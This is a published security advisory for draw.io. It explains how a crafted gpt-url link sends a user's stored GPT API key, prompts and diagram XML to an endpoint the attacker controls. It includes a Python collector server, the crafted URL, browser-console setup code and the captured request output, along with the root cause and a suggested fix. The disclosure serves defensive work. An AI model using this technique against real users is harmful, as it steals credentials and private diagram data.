Skip to content

gpt-url query injection can exfiltrate stored GPT API keys and diagram context

Moderate
davidjgraph published GHSA-v2pv-rjf8-9w9v Sep 16, 2026

Package

draw.io

Affected versions

<= 31.4.5

Patched versions

>=31.4.6

Description

Summary

draw.io allows the GPT endpoint to be overridden through the gpt-url query parameter.

Separately, the application can persist a user's GPT API key.

When both features are combined, an attacker-controlled URL can change the endpoint while the victim's stored API key remains active.

If the victim then uses GPT normally, draw.io sends the stored API key in the Authorization header to the attacker-controlled endpoint.

The request also contains the user's prompt and can include diagram XML.

Reproduction

Use Arch Linux with draw.io 31.4.4 in Chromium. Use only a fake API key.

Create a local collection endpoint:

cat >/tmp/drawio_ai_collect.py <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer

ALLOWED_ORIGIN = "http://app.diagrams.net:8000"

class Handler(BaseHTTPRequestHandler):
    def cors(self):
        self.send_header("Access-Control-Allow-Origin", ALLOWED_ORIGIN)
        self.send_header(
            "Access-Control-Allow-Headers",
            "authorization, content-type"
        )
        self.send_header(
            "Access-Control-Allow-Methods",
            "POST, OPTIONS"
        )

    def do_OPTIONS(self):
        self.send_response(204)
        self.cors()
        self.end_headers()

    def do_POST(self):
        length = int(self.headers.get("Content-Length", "0"))
        body = self.rfile.read(length)

        print("AUTHORIZATION:", self.headers.get("Authorization"))
        print("BODY:", body.decode("utf-8", "replace"))

        response = (
            b'{"choices":[{"message":{"content":'
            b'"PoC response"}}]}'
        )

        self.send_response(200)
        self.cors()
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(response)))
        self.end_headers()
        self.wfile.write(response)

    def log_message(self, fmt, *args):
        pass

HTTPServer(("127.0.0.1", 9000), Handler).serve_forever()
PY

python3 /tmp/drawio_ai_collect.py

Serve draw.io:

cd src/main/webapp
python3 -m http.server 8000 --bind 127.0.0.1

Launch an isolated Chromium profile while mapping app.diagrams.net to localhost:

chromium \
  --host-resolver-rules="MAP app.diagrams.net 127.0.0.1" \
  --user-data-dir=/tmp/drawio-poc-profile \
  "http://app.diagrams.net:8000/"

Configure the following disposable GPT API key in draw.io:

DRAWIO-FAKE-API-KEY-4cb912

Leave the custom GPT URL unset.

For a direct source-path test, the same state can be created in the browser console:

localStorage.setItem(
  '.configuration',
  JSON.stringify({
    gptApiKey: 'DRAWIO-FAKE-API-KEY-4cb912'
  })
);

location.reload();

Now navigate to:

http://app.diagrams.net:8000/?gpt-url=http%3A%2F%2F127.0.0.1%3A9000%2Fchat

Open the GPT/AI interface and submit:

DRAWIO-AI-PROMPT-PROOF-81e245

The collection endpoint should receive:

AUTHORIZATION: Bearer DRAWIO-FAKE-API-KEY-4cb912
BODY: {"model":"gpt-5.1-2025-11-13","messages":[{"role":"system","content":"You are a helpful assistant that generates diagrams in either MermaidJS or draw.io XML format based on the given prompt. Begin with a concise checklist (3-7 bullets) of what you will do; keep items conceptual, not implementation-level. Produce valid and correct syntax, and choose the appropriate format depending on the prompt: if the requested diagram cannot be represented in MermaidJS, generate draw.io XML instead but do not use indentation and newlines. When asked to modify a diagram that is given in the conversation as draw.io XML, return the complete updated diagram as draw.io XML, not MermaidJS, and keep the existing id attribute of every cell that is kept so it can be matched to the diagram on the canvas. After producing the diagram code, validate that the output matches the requested format and diagram type and has correct syntax. Only include the diagram code in your response; do not add any additional text, checklists, instructions or validation results. If the prompt is a question or does not ask for a diagram, answer it as plain text without any diagram code instead."},{"role":"user","content":"DRAWIO-AI-PROMPT-PROOF-81e245"}]}

This confirms that the attacker-selected endpoint received a credential loaded from the victim's persistent configuration.

To test diagram-context disclosure, create a disposable diagram containing:

DRAWIO-AI-DIAGRAM-PROOF-b515aa

Attach the current diagram as context and submit another request.

The captured body should then contain:

DRAWIO-AI-DIAGRAM-PROOF-b515aa

Root cause

During initialization, draw.io reads:

gpt-url

from the page URL and uses it to populate the GPT endpoint.

The GPT configuration also defines:

Authorization: Bearer {apiKey}

draw.io separately persists:

gptApiKey

in its local configuration.

When that saved configuration is loaded, the API key is restored, but the GPT endpoint is only replaced when the saved configuration explicitly contains:

config.gptUrl != null

This allows the following mixed state:

API key:
victim's persistent configuration

GPT endpoint:
attacker-controlled gpt-url parameter

When a GPT request is sent, the chat code effectively performs:

var url = Editor.replacePlaceholders(
    config.endpoint,
    resolver
);

var req = new mxXmlRequest(
    url,
    JSON.stringify(params),
    'POST'
);

and applies the configured request headers, including:

Authorization: Bearer <stored API key>

The attack flow is:

victim previously saves GPT API key
  -> attacker sends crafted ?gpt-url=...
  -> victim opens link
  -> stored API key is restored
  -> attacker endpoint remains selected
  -> victim sends normal GPT message
  -> Authorization header + prompt
  -> attacker-controlled endpoint

If diagram context is attached, the request can also contain the diagram XML.

Impact

A remote attacker can potentially obtain a victim's persistently configured GPT API key after the victim opens a crafted draw.io link and uses the GPT feature.

The same request can disclose prompts, conversation content, and attached diagram data.

The victim does not need to approve the endpoint change or re-enter the API key.

Suggested fix

Navigation parameters should not be allowed to override credential-bearing AI endpoints while persistent credentials remain active.

Changing the endpoint origin should require explicit confirmation and should clear or disable previously stored credentials until the new endpoint is separately trusted.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Active
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CVE ID

No known CVE

Weaknesses

External Control of System or Configuration Setting

One or more system settings or configuration elements can be externally controlled by a user. Learn more on MITRE.

Credits